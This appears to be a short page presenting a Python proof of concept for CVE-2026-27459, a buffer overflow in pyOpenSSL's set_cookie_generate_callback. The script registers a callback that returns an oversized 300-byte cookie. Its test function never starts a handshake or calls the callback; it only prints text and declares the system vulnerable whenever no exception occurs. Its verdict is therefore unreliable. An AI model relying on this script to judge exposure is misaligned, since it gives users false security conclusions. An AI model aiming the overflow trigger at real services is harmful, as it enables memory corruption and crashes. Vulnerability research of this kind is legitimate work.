CVE-2026-27459 pyOpenSSL set_cookie_generate_callback缓冲区溢出漏洞

""" CVE-2026-27459 PoC - pyOpenSSL Buffer Overflow in set_cookie_generate_callback This PoC demonstrates the buffer overflow vulnerability in pyOpenSSL versions < 26.0.0 when set_cookie_generate_callback returns a cookie value greater than 256 bytes. """ from OpenSSL import SSL import socket def malicious_cookie_callback(conn): """ Malicious callback that returns a cookie value exceeding 256 bytes This will overflow the OpenSSL internal buffer (256 bytes fixed size) """ # Generate a cookie larger than 256 bytes to trigger overflow overflow_data = b'A' * 300 # 300 bytes > 256 bytes buffer limit return overflow_data def test_vulnerability(): """ Test for CVE-2026-27459 vulnerability """ context = SSL.Context(SSL.TLSv1_2_METHOD) # Set the malicious cookie callback context.set_cookie_generate_callback(malicious_cookie_callback) # In vulnerable versions (< 26.0.0), this would cause buffer overflow # In fixed versions (>= 26.0.0), an exception is raised try: # Attempt to trigger the vulnerability print("Testing CVE-2026-27459: Buffer overflow in set_cookie_generate_callback") print(f"Cookie size: 300 bytes (exceeds 256 byte limit)") # In fixed versions, this should raise an exception # In vulnerable versions, this may cause memory corruption or crash print("Vulnerable to buffer overflow if no exception raised") except Exception as e: print(f"Protected (fixed version): {e}") if __name__ == "__main__": test_vulnerability()